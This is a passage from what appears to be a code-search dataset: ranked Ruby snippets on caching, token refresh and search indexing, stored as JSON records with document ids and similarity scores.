"157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "157d4a88a386243ea01f87cf394d4588", "score": "0.5493164", "text": "def cache; end", "title": "" }, { "docid": "9699cd827ec3c69ffbb33d0996ebc350", "score": "0.54892457", "text": "def fresh_when(options)\n options.assert_valid_keys(:etag, :last_modified, :public)\n\n response.etag = options[:etag] if options[:etag]\n response.last_modified = options[:last_modified] if options[:last_modified]\n\n if options[:public]\n response.cache_control[:public] = true\n end\n\n if request.fresh?(response)\n head :not_modified\n end\n end", "title": "" }, { "docid": "7e0f5a3e4e4b3c00efcaa7a516783c6a", "score": "0.54809886", "text": "def refresh_cache\n # Raca::HttpClient depends on Raca::Account, so we intentionally don't use it here\n # to avoid a circular dependency\n Net::HTTP.new(identity_host, 443).tap {|http|\n http.use_ssl = true\n }.start {|http|\n payload = {\n auth: {\n 'RAX-KSKEY:apiKeyCredentials' => {\n username: @username,\n apiKey: @key\n }\n }\n }\n response = http.post(\n tokens_path,\n JSON.dump(payload),\n {'Content-Type' => 'application/json'},\n )\n if response.is_a?(Net::HTTPSuccess)\n cache_write(cache_key, JSON.load(response.body))\n else\n raise_on_error(response)\n end\n }\n end", "title": "" }, { "docid": "c50aaa07b6d5dea1afb0af4c77a99c62", "score": "0.54751307", "text": "def update_redis(event, data_template)\n # save_event(event)\n # save_data_template(data_template)\n cookies[:event] = event.id unless event.nil?\n cookies[:template] = data_template.id unless data_template.nil? \n end", "title": "" }, { "docid": "64becd70ff1135d32541ce11fc17145a", "score": "0.5474307", "text": "def put_now(obj)\n key = Time.now.to_i.to_s\n obj = Riak::RObject.new(@bucket, key)\n obj.raw_data = obj.to_json\n obj.content_type = 'text/json'\n obj.store\n key\n end", "title": "" }, { "docid": "3dfeb5bb38b922a5bbc8eb621651fc2d", "score": "0.5473529", "text": "def cache_stored_file!; end", "title": "" }, { "docid": "9466d5c23c9999c3280dc8be31c512ec", "score": "0.54650444", "text": "def fresh_when(options)\n options.assert_valid_keys(:etag, :last_modified, :public)\n\n response.etag = options[:etag] if options[:etag]\n response.last_modified = options[:last_modified] if options[:last_modified]\n \n if options[:public] \n cache_control = response.headers[\"Cache-Control\"].split(\",\").map {|k| k.strip }\n cache_control.delete(\"private\")\n cache_control.delete(\"no-cache\")\n cache_control << \"public\"\n response.headers[\"Cache-Control\"] = cache_control.join(', ')\n end\n\n if request.fresh?(response)\n head :not_modified\n end\n end", "title": "" }, { "docid": "9f11739fdd9be60808ea61185b1d9e59", "score": "0.5459409", "text": "def cache=(cache); end", "title": "" }, { "docid": "9f11739fdd9be60808ea61185b1d9e59", "score": "0.5459409", "text": "def cache=(cache); end", "title": "" }, { "docid": "fe46f0e38464687d599328f085beae33", "score": "0.54559326", "text": "def after_create(post)\n\t\texpire_cache_for(post)\n\tend", "title": "" }, { "docid": "1884b7b3feea9ab648608e7592fd608f", "score": "0.5451079", "text": "def freshen(args)\n Athenry::freshen.update(*args)\n end", "title": "" }, { "docid": "f1075c20c7183a7393d807da111e9027", "score": "0.5444799", "text": "def ats_api_pub_v1\n return @ats_api_pub_v1_cache unless @ats_api_pub_v1_cache.nil?\n @ats_api_pub_v1_cache=Rest.new({\n :base_url => AtsApi.base_url+'/pub/v1',\n :auth => {\n :type => :basic,\n :username => self.options.get_option(:ats_key,:mandatory),\n :password => self.options.get_option(:ats_secret,:mandatory)}\n })\n end", "title": "" }, { "docid": "f22f8ff502ed22d63b0d856401ae7b89", "score": "0.54353255", "text": "def expire!; end", "title": "" }, { "docid": "f22f8ff502ed22d63b0d856401ae7b89", "score": "0.54353255", "text": "def expire!; end", "title": "" }, { "docid": "501935d6195396b9c3c881c906cc16be", "score": "0.5431838", "text": "def touch\n last_access = Time.now\n end", "title": "" }, { "docid": "20ed10ed0bc847f72dc9a80b4e73c8ff", "score": "0.54264253", "text": "def update_topic_cache\n unless self.kind == 'note'\n current_cache = self.topic.post_cache\n self.topic.update(post_cache: \"#{current_cache} #{self.body}\")\n end\n end", "title": "" }, { "docid": "20ed10ed0bc847f72dc9a80b4e73c8ff", "score": "0.54264253", "text": "def update_topic_cache\n unless self.kind == 'note'\n current_cache = self.topic.post_cache\n self.topic.update(post_cache: \"#{current_cache} #{self.body}\")\n end\n end", "title": "" }, { "docid": "1e759483b18daf69bccd679e5a223817", "score": "0.5425633", "text": "def refresh\n if current?\n self.expires_at = Time.now + EXPIRATION\n else\n errors.add(:base, \"Expired\")\n end\n save\n end", "title": "" }, { "docid": "428e69a4e22973cdc5656780e2ffcd32", "score": "0.54217494", "text": "def storeChanges\n # this will be only written once and never updated\n NSUserDefaults.standardUserDefaults.setObject(\"#{today['y']}#{today['m']}#{today['d']}\", forKey:FIRST_USE) unless (NSUserDefaults.standardUserDefaults.dictionaryRepresentation).has_key?(FIRST_USE)\n\n NSUserDefaults.standardUserDefaults.setObject(VERSION, forKey:VERSION_KEY)\n NSUserDefaults.standardUserDefaults.setObject(@usage_data, forKey:@app_key)\n NSUserDefaults.standardUserDefaults.synchronize #write cache\n end", "title": "" }, { "docid": "f02739e1196ea0ba1927cd58b0cd5f43", "score": "0.5418819", "text": "def generate(payload, expires)\n\t\t\tinstance.generate(payload, expires)\n\t\tend", "title": "" }, { "docid": "be76e2e18d602bdcc16630f254417f57", "score": "0.5405066", "text": "def flush_cache\n KitSaasSharedCacheManagement::LatestTransactions.new.clear\n end", "title": "" }, { "docid": "45ea6fc0206c97975af8aea3df1b59a6", "score": "0.5402726", "text": "def update!(**args)\n @expiration_time_usec = args[:expiration_time_usec] if args.key?(:expiration_time_usec)\n @fingerprint = args[:fingerprint] if args.key?(:fingerprint)\n @key = args[:key] if args.key?(:key)\n end", "title": "" }, { "docid": "e695b0ad46a87b24bdc6cb543d6b0caa", "score": "0.53948724", "text": "def cache_store; end", "title": "" }, { "docid": "bc138bc43ed4534332248dcd35073729", "score": "0.5394831", "text": "def recache\n mpi.cache(uuid, mpi.mvi_response)\n end", "title": "" }, { "docid": "1fe5ebc569f6b5e5f3e9ae671a0ef7d7", "score": "0.53915954", "text": "def cleanup\n @mutex.synchronize do\n now = now()\n @data.delete_if { |_key, info| info[:expires_at] < now }\n true\n end\n end", "title": "" }, { "docid": "edf41e0f7dcfe65a44fdd7a253bc0382", "score": "0.53872883", "text": "def set_expire_and_last_used\n self.last_used_at = Time.now\n self.expires_at = 60.days.from_now\n end", "title": "" }, { "docid": "f7100fa699823dbdcc50b4972859b86a", "score": "0.5386794", "text": "def expire\n @stamp = generate_stamp\n save\n end", "title": "" }, { "docid": "d3f7e3dd0aa9d723e60fcf8bd220881f", "score": "0.53787184", "text": "def create_reset_digest\n self.reset_token = Owner.new_token\n update_attribute(:reset_digest, Owner.digest(reset_token))\n update_attribute(:reset_sent_at, Time.zone.now)\n end", "title": "" } ]
64c3b34abfe94c00d5c01afadfc5294a
Save all match skills in elasticsearch
[ { "docid": "f701aeba4f47aa5b0bb69c87e70d00a0", "score": "0.0", "text": "def matched_skill\n text = ''\n counter = 0.0\n skills = self.member.skills\n \n if self.job.present?\n self.job.skills.each do |s|\n if skills.include? s\n text += \"<span class='mb-5 label label-info'>#{s.name}</span>\"\n counter += 1\n end\n end\n\n if counter > 0\n percent = (counter/self.job.skills.count*100).to_i \n else\n percent = 0\n end\n end\n\n return { percent: percent, text: text }\n end", "title": "" } ]
[ { "docid": "6d40abd5d9b886b0a053fbffaa70a9d2", "score": "0.59656394", "text": "def create_search_index\n Tire.index Person.index_name do\n create(\n settings: {\n analysis: {\n filter: {\n name_ngrams: {\n 'side' => 'front',\n 'max_gram' => 10,\n 'min_gram' => 1,\n 'type' => 'edgeNGram'\n }\n },\n analyzer: {\n full_name: {\n 'filter' => %w(standard lowercase asciifolding),\n 'type' => 'custom',\n 'tokenizer' => 'standard'\n },\n partial_name: {\n 'filter' => %w(standard lowercase asciifolding name_ngrams),\n 'type' => 'custom',\n 'tokenizer' => 'standard'\n },\n keyword: {\n 'filter' => %w(lowercase),\n 'tokenizer' => 'keyword'\n }\n }\n },\n store: {\n type: Rails.env.test? ? :memory : :niofs\n }\n },\n mappings: {\n person: {\n properties: {\n first_name: {\n fields: {\n partial: {\n search_analyzer: 'full_name',\n index_analyzer: 'partial_name',\n type: 'string'\n },\n first_name: {\n type: 'string',\n analyzer: 'full_name'\n }\n },\n type: 'multi_field'\n },\n last_name: {\n fields: {\n partial: {\n search_analyzer: 'full_name',\n index_analyzer: 'partial_name',\n type: 'string'\n },\n last_name: {\n type: 'string',\n analyzer: 'full_name'\n }\n },\n type: 'multi_field'\n },\n initials: {\n type: 'string',\n analyzer: 'simple'\n },\n profession: {\n type: 'string',\n analyzer: 'keyword'\n },\n email: {\n type: 'string',\n analyzer: 'simple'\n },\n login: {\n type: 'string',\n analyzer: 'simple'\n },\n year_entrance: {\n type: 'date',\n format: 'YYYY'\n },\n year_out: {\n type: 'date',\n format: 'YYYY'\n }\n }\n }\n }\n )\n end\n end", "title": "" }, { "docid": "daba332cd8dd5729bd691a43dc8503df", "score": "0.59068453", "text": "def index_keywords!\n update_attribute(:_keywords, set_keywords)\n end", "title": "" }, { "docid": "166556f407034c356e8bcfe107e556cd", "score": "0.5892429", "text": "def save_tweets_for(term)\n @client.search(term).each do |tweet|\n @tweets_found += 1\n tweet_doc = tweet.to_h\n tweet_doc[:tags] = term\n tweet_doc[:_id] = tweet_doc[:id]\n @tweets.insert_one(tweet_doc)\n end\n end", "title": "" }, { "docid": "660c3c55b8c6756e1d5de8cb21ca0c40", "score": "0.5892152", "text": "def index(model)\n model.index\n ElasticMapper.index.refresh\nend", "title": "" }, { "docid": "d7a7b8e50db7d73835f599aaa582096d", "score": "0.5836653", "text": "def index_searcher\n technique = Skills::Technique.includes(sub_category: [:category]).find(self.technique_id)\n category_name = technique.sub_category.category.name\n\n searcher = Pbls::Searcher.find_or_initialize_by(project_id: self.project_id)\n searcher.technique = category_name\n\n searcher.save!\n end", "title": "" }, { "docid": "99371e664ce8a3f6c54abb2b8c2fa0b2", "score": "0.58154464", "text": "def index\n SearchIndex.create(shout: shout, data: body)\n end", "title": "" }, { "docid": "e93cf7c64ad84488026d04fb789a2411", "score": "0.5802295", "text": "def index\n @skill_names = SkillName.all\n #@skill_names = SkillName.where([ 'name LIKE ?', '%#{params[:search]}%' ])\n #@skill_names = SkillName.search(params[:search])\n @skill = Skill.new\n @skill_name = SkillName.new\n end", "title": "" }, { "docid": "1bc03d2514e457a45fb62bded0ab6e70", "score": "0.56604856", "text": "def index\n @desired_skills = DesiredSkill.all\n end", "title": "" }, { "docid": "bb31650b55265e347347d1ea17e4400d", "score": "0.5631936", "text": "def perform\n PgSearch::Multisearch.rebuild(Doc)\n end", "title": "" }, { "docid": "c75b42f54d8d455ead9532cde50f302d", "score": "0.56271124", "text": "def index\n # @search = Shelter.search do\n # fulltext params[:search]\n # end\n # @shelters = @search.results\n @shelters = Shelter.all\nend", "title": "" }, { "docid": "02e3f607bece4a9b88436893d41ad789", "score": "0.5599132", "text": "def index_songs_in_elasticsearch\n songs.find_each { |song| song.__elasticsearch__.index_document }\n end", "title": "" }, { "docid": "e36dd4b2aac1b40ebf00776dd81665fc", "score": "0.5594587", "text": "def save(index_name: nil)\n index_name ||= model.pool.to_param\n Bindery::Persistence::ElasticSearch.client.indices.put_mapping index: index_name, type: model.to_param, body: model.to_elasticsearch\n end", "title": "" }, { "docid": "dd570dac09027df02395f594825864ec", "score": "0.5576801", "text": "def add_to_index posts\n indexDir = java.io.File.new(@index_dir);\n writer = IndexWriter.new(indexDir, StandardAnalyzer.new, !File.exists?(indexDir.absolute_path))\n posts.each do |post|\n writer.updateDocument(Term.new(\"id\",post[:id]),create_lucene_document(post))\n @last_id = post[:id]\n @log.debug \"added post ##{post[:id]}\"\n end \n writer.optimize\n writer.close\n @log.info \"added #{posts.size} documents to index\"\n end", "title": "" }, { "docid": "420d011f4d873a9c670a96e2150df929", "score": "0.55765283", "text": "def index\n @skills = [['All skill brackets', ''], ['Unknown', '0'], ['Normal', '1'], ['High', '2'], ['Very High', '3']]\n @matches = Match.all\n if params[:lobby].to_s != '' and Lobby.find(params[:lobby]).active == true\n @matches = @matches.where(lobby: params[:lobby])\n end\n if params[:mode].to_s != '' and Mode.find(params[:mode]).active == true\n @matches = @matches.where(mode: params[:mode])\n end\n if params[:skill].to_s != '' and (0..3).include? params[:skill].to_i\n skill = params[:skill].to_i\n skill = nil if skill.to_i==0\n @matches = @matches.where(skill: skill)\n end\n @matches = @matches.order_by(match_seq_num: :desc)\n @matches = @matches.page(params[:page])\n @matches = @matches.max_scan(50000)\n #@matches = Match.where(lobby_id: 7, skill: 3).order_by(match_seq_num: :desc).page(params[:page])\n end", "title": "" }, { "docid": "eda6482ed97516474daabbf2462ddce4", "score": "0.55251354", "text": "def save\n File.open(@index_file, 'wb') do |f|\n Marshal.dump([@terms, @index], f)\n end\n end", "title": "" }, { "docid": "106b50a6698549346fc15214ffa8b1b0", "score": "0.55160534", "text": "def after_create(model)\n update_search_index model, :index\n end", "title": "" }, { "docid": "e0c85a0f87ad4cf52ac477d5d5fd20b7", "score": "0.5500363", "text": "def save\n File.open(@index_file, 'wb') do |f|\n f.puts Marshal::dump([@terms, @index])\n end\n end", "title": "" }, { "docid": "dfb7cac90b1dcad6fc4b605916791820", "score": "0.54864556", "text": "def index_data(*models)\n if models.nil? || models.empty?\n only_index = @indexed_models\n else\n only_index = models.collect{|m| m.to_s}\n end \n \n Mebla.log(\"Indexing #{only_index.join(\", \")}\", :debug)\n \n # Build up a bulk query to save processing and time\n bulk_query = \"\"\n # Keep track of indexed documents\n indexed_count = {}\n \n # Create the index\n if create_index\n # Start collecting documents\n only_index.each do |model|\n Mebla.log(\"Indexing: #{model}\")\n # Get the class\n to_index = model.camelize.constantize\n \n # Get the records \n entries = []\n unless to_index.embedded?\n if to_index.sub_class?\n entries = to_index.any_in(:_type => [to_index.name])\n else \n entries = to_index.any_in(:_type => [nil, to_index.name])\n end\n else\n parent = to_index.embedded_parent\n access_method = to_index.embedded_as\n \n parent.all.each do |parent_record|\n if to_index.sub_class?\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [to_index.name])\n else\n entries += parent_record.send(access_method.to_sym).any_in(:_type => [nil, to_index.name])\n end\n end\n end\n \n # Save the number of entries to be indexed\n indexed_count[model] = entries.count \n \n # Build the queries for this model \n entries.each do |document|\n attrs = {} #document.attributes.dup # make sure we dont modify the document it self\n attrs[:id] = document.attributes[\"_id\"] # the id is already added in the meta data of the action part of the query\n \n # only index search fields and methods\n document.class.search_fields.each do |field|\n if document.attributes.keys.include?(field.to_s)\n attrs[field] = document.attributes[field.to_s] # attribute\n else\n attrs[field] = document.send(field) # method\n end\n end\n \n # index relational fields\n document.class.search_relations.each do |relation, fields| \n items = document.send(relation.to_sym) # get the relation document\n \n next if items.nil?\n \n # N relation side\n if items.is_a?(Array) || items.is_a?(Mongoid::Relations::Targets::Enumerable)\n next if items.empty?\n attrs[relation] = []\n items.each do |item|\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if item.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => item.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => item.send(field) }) # method\n end\n end\n attrs[relation] << fields_values\n else # only index one field in the relation\n if item.attributes.keys.include?(fields.to_s)\n attrs[relation] << { fields => item.attributes[fields.to_s] } # attribute\n else\n attrs[relation] << { fields => item.send(fields) } # method\n end\n end\n end\n # 1 relation side\n else\n attrs[relation] = {}\n if fields.is_a?(Array) # given multiple fields to index\n fields_values = {}\n fields.each do |field|\n if items.attributes.keys.include?(field.to_s)\n fields_values.merge!({ field => items.attributes[field.to_s] }) # attribute\n else\n fields_values.merge!({ field => items.send(field) }) # method\n end\n end\n attrs[relation].merge!(fields_values)\n else # only index one field in the relation\n if items.attributes.keys.include?(fields.to_s)\n attrs[relation].merge!({ fields => items.attributes[fields.to_s] }) # attribute\n else\n attrs[relation].merge!({ fields => items.send(fields) }) # method\n end\n end\n end\n end \n \n # If embedded get the parent id\n if document.embedded?\n parent_id = document.send(document.class.embedded_parent_foreign_key.to_sym).id.to_s \n attrs[(document.class.embedded_parent_foreign_key + \"_id\").to_sym] = parent_id\n attrs[:_parent] = parent_id\n \n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs, parent_id)\n else\n # Build add to the bulk query\n bulk_query << build_bulk_query(@slingshot_index_name, to_index.slingshot_type_name, document.id.to_s, attrs)\n end\n end\n end\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Could not create #{@slingshot_index_name}!!!\")\n end \n \n Mebla.log(\"Bulk indexing:\\n#{bulk_query}\", :debug) \n \n # Send the query\n response = Slingshot::Configuration.client.post \"#{Mebla::Configuration.instance.url}/_bulk\", bulk_query\n \n # Only refresh the index if no error ocurred\n unless response =~ /error/ \n # Log results\n Mebla.log(\"Indexed #{only_index.count} model(s) to #{self.slingshot_index_name}: #{response}\")\n Mebla.log(\"Indexing Report:\")\n indexed_count.each do |model_name, count|\n Mebla.log(\"Indexed #{model_name}: #{count} document(s)\")\n end\n \n # Refresh the index\n refresh_index\n else\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following response:\\n #{response}\")\n end\n rescue RestClient::Exception => error\n raise Mebla::Errors::MeblaIndexException.new(\"Indexing #{only_index.join(\", \")} failed with the following error: #{error.message}\")\n end", "title": "" }, { "docid": "0b053f3a3bffbc06abfd86b9dedb946e", "score": "0.5460389", "text": "def set_index_match_types(types)\n set_nested_global(\"indexed_search/word\", :index_match_types, types)\nend", "title": "" }, { "docid": "85701d6fa2be5c717dc55507bf28f1b8", "score": "0.5444324", "text": "def save_search_index(index)\n require 'json'\n @updated_search_index = index\n search_index_path.open('w') do |io|\n io.write(@updated_search_index.to_json)\n end\n end", "title": "" }, { "docid": "47ed10795c2ad176b8692ce717366eeb", "score": "0.54401743", "text": "def multi_index_elastic_search(params={})\n params = format_params(params)\n \n search = Tire.search params[:indexes], :load => false, :from => params[:offset] do \n query do\n boolean do\n should { match :name, \"#{params[:q]}*\", :type => :phrase_prefix }\n should { match :content, params[:q], :type => :phrase}\n end\n end\n facet \"item_type\" do terms :_type end\n highlight :content, :title\n sort { by \"_score\"}\n\n end\n end", "title": "" }, { "docid": "b822b189e9d1df5195686a2f7d1bb79c", "score": "0.54389095", "text": "def index\n @employees = Employee.search(params[:search]).page(params[:page]).per(8)\n @skills = Skill.all\n\n end", "title": "" }, { "docid": "6d881e96004944695b4c62f9a8e6c7ed", "score": "0.54368985", "text": "def index\n @skills = Skill.all\n end", "title": "" }, { "docid": "6d881e96004944695b4c62f9a8e6c7ed", "score": "0.54368985", "text": "def index\n @skills = Skill.all\n end", "title": "" }, { "docid": "ca0ea78680d9e0977239151f6b60f433", "score": "0.5430027", "text": "def index\n @techniques = Technique.all\n #@q = Technique.search\n #@q = Function.ransack(params[:q])\n #@functions = @q.result\n\n #@technique = Technique.new\n @technique = Search::Technique.new\n @techniques = @technique\n .matches\n #@technique = @technique.\n end", "title": "" }, { "docid": "829a07e1fbe8d0f4e0ca9cfb930f9141", "score": "0.5422325", "text": "def index\n @myskills = Myskill.all\n end", "title": "" }, { "docid": "39adb3d431a32c4e1c4abb6628389abb", "score": "0.5420669", "text": "def index\n gon.scripts = Script.all.map(&:title)\n @query = Script.search do\n fulltext params[:find]\n end\n @scripts = @query.results\n end", "title": "" }, { "docid": "01e268d88cd12d23e1075c062c98fbb6", "score": "0.5414453", "text": "def index(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n\n ### Start of new indexing code.\n # Index the MATERIALS field, splitting on semicolons.\n row['MATERIALS'].to_s.split(';').each do |material|\n material.strip!\n material.downcase!\n doc.add_boolean_term(\"XM#{material}\") if material.length.positive?\n end\n ### End of new indexing code.\n\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend", "title": "" }, { "docid": "32a78fa445ec17875be17a6f257588df", "score": "0.54038924", "text": "def write_document_to_index(document)\n\n end", "title": "" }, { "docid": "113c436703af7949166b0245f733a3f5", "score": "0.53999054", "text": "def index\n @advance_searches = AdvanceSearch.all\n end", "title": "" }, { "docid": "91484551886ee68033a1304cac5a8367", "score": "0.5384384", "text": "def create_search_index\n Tire.index self.index_name\n end", "title": "" }, { "docid": "559e1d00c72b6e461dc82254f3a507a2", "score": "0.5384265", "text": "def cloud_search_reindex(*args)\n self.cloud_search_batch_documents do\n self.find_each(*args) do |record|\n record.add_to_cloud_search\n end\n end\n end", "title": "" }, { "docid": "d7fef8212f6c698730709b9f012e8def", "score": "0.5333503", "text": "def build_index\n @search = RSemantic::Search.new(@documents.map(&:text), @options)\n end", "title": "" }, { "docid": "0adf98dce1e0250b269ef33782fc7bd9", "score": "0.53268886", "text": "def index_csv(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend", "title": "" }, { "docid": "c1cf6b7050317a07c1f1caf6e5e49e4b", "score": "0.531964", "text": "def update_pose_index\n update_pose_words if Pose.perform_search?\n end", "title": "" }, { "docid": "139449c3edf689d8e3e16c7328e94262", "score": "0.5317521", "text": "def set_index_match_type(type)\n set_nested_global(\"indexed_search/word\", :index_match_types, [type])\nend", "title": "" }, { "docid": "68c0fe12ca4e452948c665148596f260", "score": "0.531708", "text": "def make_title_searchable\n address = create_title_addressbase_data(@title)\n create_elasticsearch_addressbase_data(address)\n sleep($ELASTICSEARCH_SLEEP.to_f) # elasticsearch changes take a moment\n create_lr_urpn_mapping_data(@title[:lr_uprns])\nend", "title": "" }, { "docid": "8784a4b071dbe706395a00321ce83eaf", "score": "0.5310524", "text": "def index\n @skillsets = Skillset.all\n end", "title": "" }, { "docid": "8784a4b071dbe706395a00321ce83eaf", "score": "0.5310524", "text": "def index\n @skillsets = Skillset.all\n end", "title": "" }, { "docid": "22fa216659c8aa977d40718edfd226d0", "score": "0.53093576", "text": "def index\n @query = params[:q] || '*:*'\n query = Jbuilder.encode do |json|\n json.filter do\n json.missing do\n json.field \"parent_id\"\n end\n end\n json.query do\n json.query_string do\n json.query @query\n end\n end\n json.sort do\n json.node \"asc\"\n end\n end\n @themata = Thema.__elasticsearch__.search(query).page(params[:page]).records\n end", "title": "" }, { "docid": "a9f3ecdb0febbfebadf1329f33933f77", "score": "0.530843", "text": "def index\n\t@skills = Skill.all\n end", "title": "" }, { "docid": "bf0a08c08122c110244cca1f779fb940", "score": "0.5300155", "text": "def search_and_save\n if params[:q].nil?\n redirect_to root_path\n else\n @dados = []\n url = URI.encode(\"http://search.twitter.com/search.json?q=#{params[:q]}\")\n call url\n Search.create(query: params[:q])\n end\n end", "title": "" }, { "docid": "994f3771e114c6f259dbf6edc8fe7357", "score": "0.52884424", "text": "def create_search_index\n #Notice the assoction on article.user.id\n TaggyMcFaggy.create_index :attribute_namespace => :article_text,\n :document_id => id,\n :words => text_content,\n :association => user.id\n \n end", "title": "" }, { "docid": "137f857b3a54ec9eb0037d78108b0105", "score": "0.52834827", "text": "def index_keywords!\n all.each { |d| d.index_keywords! ? MongoidSearch::Log.green(\".\") : MongoidSearch::Log.red(\"F\") }\n end", "title": "" }, { "docid": "f8db1d4c2ae5939e851739641987310d", "score": "0.5271414", "text": "def index\n @exceller_skills = ExcellerSkill.all\n end", "title": "" }, { "docid": "b3686d6d69afb5af99621caa268a85f0", "score": "0.5268285", "text": "def index\n # filters\n @groups = Group.all\n @projects = Project.of_group(@group)\n @offices = Office.in_group(@group).on_project(@project)\n\n # contents\n @people = User.in_office(@office).of_group(@group).on_project(@project)\n\n @skill_array = []\n @people.skill_counts.each do |skill_count|\n hash = {:text => skill_count.name, :weight => skill_count.taggings_count, :link => \"/tags/#{skill_count.name}\"}\n @skill_array.push hash\n end\n end", "title": "" }, { "docid": "38c0d8211e56ae341e10e9ba2d5087d1", "score": "0.52681196", "text": "def create\n @lesson_learned = LessonLearned.new(params[:lesson_learned])\n\n respond_to do |format|\n if @lesson_learned.save\n\n # Now index it in Solr\n @rsolr.add(:id=>@lesson_learned.id,\n :lesson_date=>@lesson_learned.lessonDate.to_s + 'T00:00:00Z',\n :project_reference=>@lesson_learned.projectReference,\n :project_engineer=>@lesson_learned.projectEngineer,\n :project_architect=>@lesson_learned.projectArchitect,\n :project_owner=>@lesson_learned.projectOwner,\n :division=>@lesson_learned.division,\n :text=>@lesson_learned.input)\n @rsolr.commit\n\n format.html { redirect_to @lesson_learned, notice: 'Lesson learned was successfully created.' }\n format.json { render json: @lesson_learned, status: :created, location: @lesson_learned }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lesson_learned.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a3f2834ac9599918abaa5665b0bff6c6", "score": "0.5262821", "text": "def index\n @buildskills = Buildskill.all\n end", "title": "" }, { "docid": "f516eeb4a194bcd1747d80652a2b60ec", "score": "0.5256527", "text": "def index!\n set_search_text!\n set_query_attributes!\n update_columns text: self.text, query: self.query\n end", "title": "" }, { "docid": "1aa374e22816ee54977b35c79d9a6360", "score": "0.5254472", "text": "def save(*args)\n super(*args)\n index\n self\n end", "title": "" }, { "docid": "2a6bdd6e4742557e12dd97e0203ccc07", "score": "0.52466434", "text": "def reindex!\n Student.update_recent_student_assessments!\n end", "title": "" }, { "docid": "009373b4a3fb2c128e53858a5fbd4660", "score": "0.5246441", "text": "def execute(index)\n matches = index.hashes_for @search_term, restrict_type: @object_type, restrict_field: @field_name\n return matches.map do |matched_object|\n # Polymorphism of some kind would probably be cleaner than this, but this is literally the\n # only part of the codebase that cares, so... ¯\\_(ツ)_/¯\n case @object_type\n when 'organization'\n ticket_matches = if matched_object['_id']\n index.hashes_for matched_object['_id'], restrict_type: 'ticket', restrict_field: 'organization_id'\n end\n user_matches = if matched_object['_id']\n index.hashes_for matched_object['_id'], restrict_type: 'user', restrict_field: 'organization_id'\n end\n next {\n '_tickets' => ticket_matches&.map { |t| t.slice('_id', 'subject')},\n '_users' => user_matches&.map { |t| t.slice('_id', 'name')},\n }.merge(matched_object)\n when 'ticket'\n asignee_matches = if matched_object['assignee_id']\n index.hashes_for matched_object['assignee_id'], restrict_type: 'user', restrict_field: '_id'\n end\n submitter_matches = if matched_object['submitter_id']\n index.hashes_for matched_object['submitter_id'], restrict_type: 'user', restrict_field: '_id'\n end\n organization_matches = if matched_object['organization_id']\n index.hashes_for matched_object['organization_id'], restrict_type: 'organization', restrict_field: '_id'\n end\n next {\n '_assignee' => asignee_matches&.map { |t| t.slice('_id', 'name') },\n '_submitter' => submitter_matches&.map { |t| t.slice('_id', 'name') },\n '_organization' => organization_matches&.map { |t| t.slice('_id', 'name') },\n }.merge(matched_object)\n when 'user'\n asignee_matches = if matched_object['_id']\n index.hashes_for matched_object['_id'], restrict_type: 'ticket', restrict_field: 'assignee_id'\n end\n submitter_matches = if matched_object['_id']\n index.hashes_for matched_object['_id'], restrict_type: 'ticket', restrict_field: 'submitter_id'\n end\n organization_matches = if matched_object['organization_id']\n index.hashes_for matched_object['organization_id'], restrict_type: 'organization', restrict_field: '_id'\n end\n next {\n '_assigned_tickets' => asignee_matches&.map { |t| t.slice('_id', 'subject') },\n '_submitted_tickets' => 